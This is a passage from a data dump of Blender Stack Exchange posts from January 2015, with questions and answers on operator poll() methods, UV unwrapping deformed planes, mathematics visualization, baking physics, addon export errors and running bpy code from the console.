  <row Id="23291" PostTypeId="2" ParentId="23281" CreationDate="2015-01-16T17:29:18.443" Score="5" Body="&lt;p&gt;As already said by pink vertex and Jerryno, a &lt;code&gt;poll()&lt;/code&gt; classmethod should be added to the operator you add to the custom menu. The disabling (graying out) will be managed by Blender automatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    bl_label = &quot;Simple Operator&quot;&#xA;    bl_idname = &quot;wm.simple_operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return len(context.selected_objects) % 2 == 0&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, &quot;Simple Operator executed.&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;class SimpleOperator2(bpy.types.Operator):&#xA;    bl_label = &quot;Simple Operator 2&quot;&#xA;    bl_idname = &quot;wm.simple_operator2&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'CAMERA')&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, &quot;Simple Operator 2 executed.&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class SimpleCustomMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Simple Custom Menu&quot;&#xA;    bl_idname = &quot;OBJECT_MT_simple_custom_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.label(&quot;Enabled, if even number of objects selected&quot;, icon='INFO')&#xA;        layout.operator(&quot;wm.simple_operator&quot;)&#xA;        layout.separator()&#xA;        layout.label(&quot;Enabled, if active object is a camera&quot;, icon='INFO')&#xA;        layout.operator(&quot;wm.simple_operator2&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # The menu can also be called from scripts&#xA;    bpy.ops.wm.call_menu(name=SimpleCustomMenu.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-16T17:29:18.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23292" PostTypeId="1" CreationDate="2015-01-16T18:07:54.530" Score="6" ViewCount="4733" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; For those believing that Blender is good for mathematics or want to prove it, this may be helpful: &lt;a href=&quot;https://plus.google.com/u/0/communities/117117856625909596615&quot; rel=&quot;nofollow&quot;&gt;Blender + Mathifold&lt;/a&gt;. I hope it does indeed meet the aspects I need Blender for.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have recently discovered Blender and it seems a most powerful software. However, I am interested in mathematics visualization, pictures and media. To understand better the kind of things I am interested in, please visit the following links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dimensions-math.org/Dim_tour_E.htm&quot; rel=&quot;nofollow&quot;&gt;Film &lt;em&gt;Dimensions&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chaos-math.org/en&quot; rel=&quot;nofollow&quot;&gt;Film &lt;em&gt;Chaos&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.josleys.com/galleries.php&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mathematical Imagery&lt;/em&gt;, Jos Leys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://world.mathigon.org/Conic_Sections&quot; rel=&quot;nofollow&quot;&gt;Ellipses&lt;/a&gt; (four videos in the middle of the page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For such issues POV-Ray is usually recommended, but the design with Blender seems definitely easier. That is why I would like to ask you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To what extent is it possible to design such mathematics visualization with Blender? And in this case, is there any place with a gallery of such pictures / videos? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does Blender easily support rendering surfaces by parametric equations or (more difficult) implicit equations?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there anything else to recommend Blender for mathematics visualization?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11017" LastEditorUserId="11017" LastEditDate="2016-04-29T14:02:41.303" LastActivityDate="2016-04-29T14:02:41.303" Title="Blender for Mathematics Visualization" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;&lt;geometry&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23293" PostTypeId="1" AcceptedAnswerId="23297" CreationDate="2015-01-16T18:10:39.870" Score="10" ViewCount="2495" Body="&lt;p&gt;I added a plane to a scene, subdivided it, and deformed it with proportional editing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cwmfU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to UV unwrap this plane, making the mapping &lt;em&gt;what the would have been without the edit mode deformations&lt;/em&gt;. In other words, I'd like my UV map to look like a square grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to UV map this deformed plane to a square grid? Or do I need to start from scratch, and make sure I unwrap it before I do the edits?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-01-16T18:50:17.363" Title="UV coordinates on a deformed plane" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23294" PostTypeId="1" CreationDate="2015-01-16T18:15:46.017" Score="1" ViewCount="73" Body="&lt;p&gt;I'm constantly updating a 3D Architectural model, via external software, and importing into blender to render with cycles. I have one scene fully setup, materials, cameras, environment etc.&lt;br&gt;&#xA;Here's my question: How could I import the modified scene into the old one (e.g walls of a room changing their shape) and respecting the old materials that I've set up. I'm importing  obj objects. What I'm doing is duplicating all the materials, which is pretty repetitive to re-assigned every material every time.&lt;/p&gt;&#xA;" OwnerUserId="11020" LastEditorUserId="2217" LastEditDate="2015-01-16T18:42:37.963" LastActivityDate="2015-01-16T18:42:37.963" Title="Updating 3d model respecting existing material" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23295" PostTypeId="2" ParentId="23293" CreationDate="2015-01-16T18:21:41.867" Score="3" Body="&lt;p&gt;What if you unwrap a square mesh, a flat one, with same number of polygons. Copy that UV, and paste it into the deform mesh you want? &#xA;There is an addon to copy UV between objects I think.&lt;/p&gt;&#xA;" OwnerUserId="11020" LastActivityDate="2015-01-16T18:21:41.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23297" PostTypeId="2" ParentId="23293" CreationDate="2015-01-16T18:23:56.833" Score="8" Body="&lt;p&gt;One easy way to do this is to add another plane, subdivide it the same number of times, and UV unwrap as desired. You can now in &lt;em&gt;Object Mode&lt;/em&gt; select first the deformed plane, then the new one. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; and select &lt;em&gt;Transfer UV Maps&lt;/em&gt;. Any edits to the UV of the first will be visible on the deformed plane as well, as the exact same data is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uoY9t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-16T18:50:17.363" LastActivityDate="2015-01-16T18:50:17.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23298" PostTypeId="2" ParentId="23293" CreationDate="2015-01-16T18:36:38.770" Score="9" Body="&lt;p&gt;It is simple to unwrap a deformed plane like in your image, back to a square UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In face select mode, select all the faces with &lt;kbd&gt;A&lt;/kbd&gt; and make one of the faces &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active&lt;/a&gt;.&lt;br&gt;&#xA;Then press &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Follow Active Quads&lt;/em&gt; and then choose &lt;em&gt;Even&lt;/em&gt; and press OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a even square UV layout.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-16T18:36:38.770" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23299" PostTypeId="2" ParentId="23270" CreationDate="2015-01-16T18:38:34.060" Score="0" Body="&lt;p&gt;You can also accomplish this by using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; loop cut and sliding it over to the point and using &lt;kbd&gt;w&lt;/kbd&gt; -&gt; Remove Doubles to 'weld' the two sections together.  If the piece happens to be aligned with one of the axis (x,y,or z) it's very easy to get the alignment perfect by selecting the vertex and using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; -&gt; 'Cursor to Selected' and making sure that the Pivot Center is set to 3D Cursor as shown here.  Then press &lt;kbd&gt;s&lt;/kbd&gt; for scale and use &lt;kbd&gt;z&lt;/kbd&gt; and &lt;kbd&gt;0&lt;/kbd&gt; which will constrain the scaling operation to the z-axis and it will scale to zero.  Since the pivot was set to 3D Cursor, it will scale to the point that was used to position the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1AcP1.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine you can also scale a line to a point by using local space/custom transform axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KrQO9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-01-16T18:38:34.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23300" PostTypeId="1" CreationDate="2015-01-16T19:19:33.300" Score="4" ViewCount="538" Body="&lt;p&gt;So, I'm trying to do some stuff with physics and cell-fracture, and I need motion blur. When I bake the physics and render w/ motion blur, the objets aren't in the scene. So I tried baking the physics to keyframes, and this happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vo1Sb.png&quot; alt=&quot;THIS IS NO LONGER A WALL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to fix this? I really need motion blur in this scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the objects were keyframed a little bit. The animation was keyframed, and it seems that that's the problem. But I don't know any other way to make the wall not move for a certain amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.72&lt;/p&gt;&#xA;" OwnerUserId="11023" LastActivityDate="2015-01-16T19:19:33.300" Title="Why is this happening when I bake physics to keyframes?" Tags="&lt;cycles-render-engine&gt;&lt;physics&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23301" PostTypeId="1" CreationDate="2015-01-16T19:43:22.170" Score="0" ViewCount="38" Body="&lt;p&gt;I've been recently working on something that's called &quot;Frankensteining&quot;in JK3 game in Blender. I downloaded the plugin suite (for import/export models from the game) and I started the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However! Everytime I edit a mesh in any way (move vertex, edge, or face - moving the object itself is okay) and try to export it, this is the error I get: &lt;a href=&quot;http://scr.hu/22as/t58y6&quot; rel=&quot;nofollow&quot;&gt;http://scr.hu/22as/t58y6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model doesn't export itself. I mean, the issue is horribly annoying, I can't do anything because of that (since I can't modify any meshes) and I have no idea how to fix the problem :/&lt;/p&gt;&#xA;" OwnerUserId="11025" LastActivityDate="2015-01-16T20:00:42.460" Title="Weird error preventing me from export after I move vertex/face/edge" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-16T20:52:42.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="23302" PostTypeId="2" ParentId="23301" CreationDate="2015-01-16T19:50:20.087" Score="1" Body="&lt;p&gt;The answer is that your mesh is lacking UV coordinates. Unwrap your mesh (in edit mode, select all vertices &lt;code&gt;A&lt;/code&gt; and unwrap &lt;code&gt;U&lt;/code&gt; - &lt;code&gt;Unwrap&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try your export again.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-01-16T19:50:20.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23304" PostTypeId="1" CreationDate="2015-01-16T20:02:44.570" Score="1" ViewCount="151" Body="&lt;p&gt;Image texture distorted in compositor by UV Map node koks like lowres on output. For distortion is used render of UV pass. Screen bellow explanes situation better. Did I missed something in setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfq5a.jpg&quot; alt=&quot;Example-screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example-blendfile is linked for short time. Or is it possible to upload zip file too?&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/55113627/%3E%20Blender/test-NODE-UVMap.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/55113627/%3E%20Blender/test-NODE-UVMap.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2015-01-17T10:20:47.723" LastActivityDate="2015-01-17T14:47:37.600" Title="Why image distorted by UV Map node is like lowres on output?" Tags="&lt;uv&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="23305" PostTypeId="1" AcceptedAnswerId="23307" CreationDate="2015-01-16T20:13:47.937" Score="4" ViewCount="765" Body="&lt;p&gt;After adding object names to the viewport (using &lt;code&gt;Object.show_name = True&lt;/code&gt;), it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HEbGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ball 2 and Ball 3 are identical to Ball 1 except for the fact that they have been added to an arbitrary group. As a result, their names appear in a green color instead of the default black. &lt;strong&gt;Is there any way to prevent this behaviour?&lt;/strong&gt; I wish to keep all names black independent of their grouping.&lt;/p&gt;&#xA;" OwnerUserId="11024" LastEditorUserId="6204" LastEditDate="2015-01-17T01:56:41.077" LastActivityDate="2015-01-17T01:56:41.077" Title="Can I change the display color of names of grouped objects in the viewport?" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23307" PostTypeId="2" ParentId="23305" CreationDate="2015-01-16T20:23:46.287" Score="4" Body="&lt;p&gt;Yes, you can change the theme so that grouped objects are black:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tGld2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User Preferences &gt; Themes &gt; 3D view &gt; Object Grouped&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-16T20:23:46.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23308" PostTypeId="1" CreationDate="2015-01-16T20:35:15.837" Score="0" ViewCount="582" Body="&lt;p&gt;So the fingers of my mesh do not seem to work properly. I have checked my weights over and over and it doesnt appear than any of the faces are unapplied to the fingers or hands. This is my first rig though so I might just be doing something wrong. The fingers work fine when operating them alone but when the whole arm moves portions of the fingers do not come with the hand and they elongate, then the finger bones still operate the fingers just at the wrong location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images to show what I mean- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rUVKw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the weights applied to the front finger and the hand, nothings isnt weighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hand&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jY2Jc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finger&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFlpP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh itself is kind of clunky with everything but i assume its due to my attempt at making the arms able to bend crazily. &lt;/p&gt;&#xA;" OwnerUserId="10869" LastActivityDate="2015-01-16T20:35:15.837" Title="Mesh not following linked bones" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23309" PostTypeId="2" ParentId="2170" CreationDate="2015-01-16T21:09:47.630" Score="14" Body="&lt;p&gt;unfortunately accessing render results cannot be done via &lt;code&gt;bpy.data.images['Render Result']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a workaround by using Viewer node. basically you will need to attach a Viewer node to your render layer and then access pixels of the Viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see this link: &lt;a href=&quot;https://ammous88.wordpress.com/2015/01/16/blender-access-render-results-pixels-directly-from-python-2/&quot; rel=&quot;noreferrer&quot;&gt;https://ammous88.wordpress.com/2015/01/16/blender-access-render-results-pixels-directly-from-python-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="241" LastEditDate="2016-04-30T16:01:23.477" LastActivityDate="2016-04-30T16:01:23.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23310" PostTypeId="1" CreationDate="2015-01-16T21:42:33.247" Score="1" ViewCount="55" Body="&lt;p&gt;I am a complete Blender beginner and I am trying to follow this beginner's course as suggested by this forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cdschools.org/cms/lib04/PA09000075/Centricity/Domain/81/BlenderBasics_4thEdition2011.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.cdschools.org/cms/lib04/PA09000075/Centricity/Domain/81/BlenderBasics_4thEdition2011.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am stuck cause I cannot get the right texture for the water DESPITE doing everything exactly like the instructor says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the link below you're see a screenshot of my 2 monitors displaying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left Monitor: My Blender 3d with 2 windows, left most showing the rendered texture for the water&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right Monitor: The instructor's PDF file showing how the water should display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link is here--&gt; &lt;a href=&quot;http://snag.gy/eFMIi.jpg&quot; rel=&quot;nofollow&quot;&gt;http://snag.gy/eFMIi.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out with this please?&lt;/p&gt;&#xA;" OwnerUserId="10987" LastActivityDate="2015-01-16T21:55:34.590" Title="Guidance on how to set a plane to look like the sea during a storm" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23311" PostTypeId="1" CreationDate="2015-01-16T21:54:12.383" Score="16" ViewCount="13850" Body="&lt;p&gt;I'm trying to make one object orbit another. But I want it to repeat, rather than stop at 100 frames. It seems there is no option for this. Is there a way to make this happen?&lt;/p&gt;&#xA;" OwnerUserId="11027" LastEditorUserId="3710" LastEditDate="2015-01-17T09:46:31.297" LastActivityDate="2019-05-11T13:46:58.323" Title="Cyclic orbit animation" Tags="&lt;animation&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23312" PostTypeId="2" ParentId="23310" CreationDate="2015-01-16T21:55:34.590" Score="2" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CSkVU.png&quot; alt=&quot;enter image description here&quot;&gt;Turn off colour in the influence panel. Only apply this to the normal map&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-16T21:55:34.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23313" PostTypeId="2" ParentId="23311" CreationDate="2015-01-16T22:23:53.687" Score="4" Body="&lt;p&gt;Ok if i understand what you are asking there is 2 ways to do this , The first is to set the finishing frame number to 100 in the following image :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMJE0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second being to duplicate the frames in the dope sheet. To do this select all the keyframes by pressing A twice ( make sure your mouse is over the dope sheet tab ) , and press Shift + D , And move your mouse over until it is sitting next to the last keyframe , and also make sure the finishing frame number is set to the number which the last keyframe is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bZI5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-16T22:23:53.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23314" PostTypeId="1" CreationDate="2015-01-16T23:52:18.797" Score="0" ViewCount="1137" Body="&lt;p&gt;Im trying to export a model for the Euro Truck Simulator 2 game with the Blender2SCS addon and I get the following error, any help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\io_scene&#xA;_scs\__init__.py&quot;, line 1951, in execute&#xA;    error = export_scs.save(filepath, origin_path, root_object, self.copy_textur&#xA;es, int(self.pmg_version))&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\io_scene&#xA;_scs\export_scs.py&quot;, line 27, in save&#xA;    status, ob = export_pmd.save(exportpath, originpath, root_ob, copy_textures)&#xA;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\io_scene&#xA;_scs\export_pmd.py&quot;, line 305, in save&#xA;    pmd.write(f, exportpath, originpath, copy_tex)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\io_scene&#xA;_scs\export_pmd.py&quot;, line 267, in write&#xA;    ret_ob = exp_mat.write(copy_tex)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\addons\io_scene&#xA;_scs\export_mat.py&quot;, line 91, in write&#xA;    for option in self.__options.keys():&#xA;AttributeError: 'str' object has no attribute 'keys'&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6311" LastEditorUserId="29" LastEditDate="2015-01-17T09:55:38.713" LastActivityDate="2017-09-11T05:51:54.720" Title="Export error with addon" Tags="&lt;materials&gt;&lt;export&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23315" PostTypeId="1" CreationDate="2015-01-16T23:54:11.790" Score="2" ViewCount="426" Body="&lt;p&gt;In Zbrush you can with one click: generate normals, UVs, make mesh low poly,bake texture and save all of these to files. So only thing is left to import those files to engine. Is there some plugin for same function in blender? It lacks of some preferences,but its ideal for indie developer. Is it possible in blender?&lt;/p&gt;&#xA;" OwnerUserId="11028" LastEditorUserId="2607" LastEditDate="2015-07-02T18:06:07.977" LastActivityDate="2015-07-02T18:06:07.977" Title="Is there any tool for fast exporting to unreal engine 4?" Tags="&lt;game-engine&gt;&lt;export&gt;&lt;texture-baking&gt;&lt;external-applications&gt;&lt;unreal-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23316" PostTypeId="1" AcceptedAnswerId="23329" CreationDate="2015-01-17T00:02:28.927" Score="2" ViewCount="725" Body="&lt;p&gt;I'm just getting started with bpy and I wish to know how can I execute the addon below from the console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# hello_world.py&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Hello World&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;,&#xA;}&#xA;import bpy&#xA;class HelloWorld(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Print in the System Console&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.hello_world&quot;&#xA;    bl_label = &quot;Hello World&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;Hello, world!&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorld)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorld)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hello_world&#xA;hello_world = hello_world.HelloWorld&#xA;hello_world&#xA;&amp;gt;&amp;gt;&amp;gt; &amp;lt;class 'hello_world.HelloWorld'&amp;gt;&#xA;hello_world.execute&#xA;&amp;gt;&amp;gt;&amp;gt; &amp;lt;function HelloWorld.execute at 0x0000009F05C576A8&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it did not really execute. Whatever if it is a print function or an object translation it did not execute. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can execute the script from the space bar, typing the label &lt;code&gt;Hello World&lt;/code&gt; but I wish to call a variable from an addon and use it in a different addon. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="8112" LastEditDate="2015-01-17T02:02:51.060" LastActivityDate="2015-01-17T04:59:21.723" Title="How to execute a method from the console" Tags="&lt;command-line&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23318" PostTypeId="1" AcceptedAnswerId="23319" CreationDate="2015-01-17T01:14:53.197" Score="6" ViewCount="6928" Body="&lt;p&gt;I have a large set of quads ready to be made, but there are several of them and I want to know if there is a way of getting them filled in. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; Does not work, because both sides are part of the same edge loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LSxPg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-01-17T02:48:44.067" LastActivityDate="2015-01-21T22:43:18.807" Title="Quickly fill in quads?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23319" PostTypeId="2" ParentId="23318" CreationDate="2015-01-17T01:36:49.777" Score="6" Body="&lt;p&gt;&lt;em&gt;Bridge edge loops&lt;/em&gt; (&lt;kbd&gt;W&lt;/kbd&gt;, &lt;kbd&gt;E&lt;/kbd&gt;) will work provided the end edges that close the loop are not selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cenek.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-21T22:42:38.960" LastActivityDate="2015-01-21T22:42:38.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23320" PostTypeId="2" ParentId="23259" CreationDate="2015-01-17T01:43:49.563" Score="-1" Body="&lt;p&gt;Try just using a diffuse shader for the baked texture. If it's still to bright try turning down the lights to about half the strength.&#xA;When you're baking Blender factors in the lights in your scene. So when you're just exchanging the wood texture with the baked one there's basically double the light for just that chair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I meant with &quot;double the light&quot; is that when you're baking with the light source you'll later use to light the chair, the baked texture already contains that light info. I once had the problem you're having, figured that's what it was. Sorry..&#xA;Also I think I misunderstood. Your saying the baked image by itself is messed up? Not the image looks fine and only weird when applied to the chair? Maybe you changed a setting that's causing that? Have you tried using default 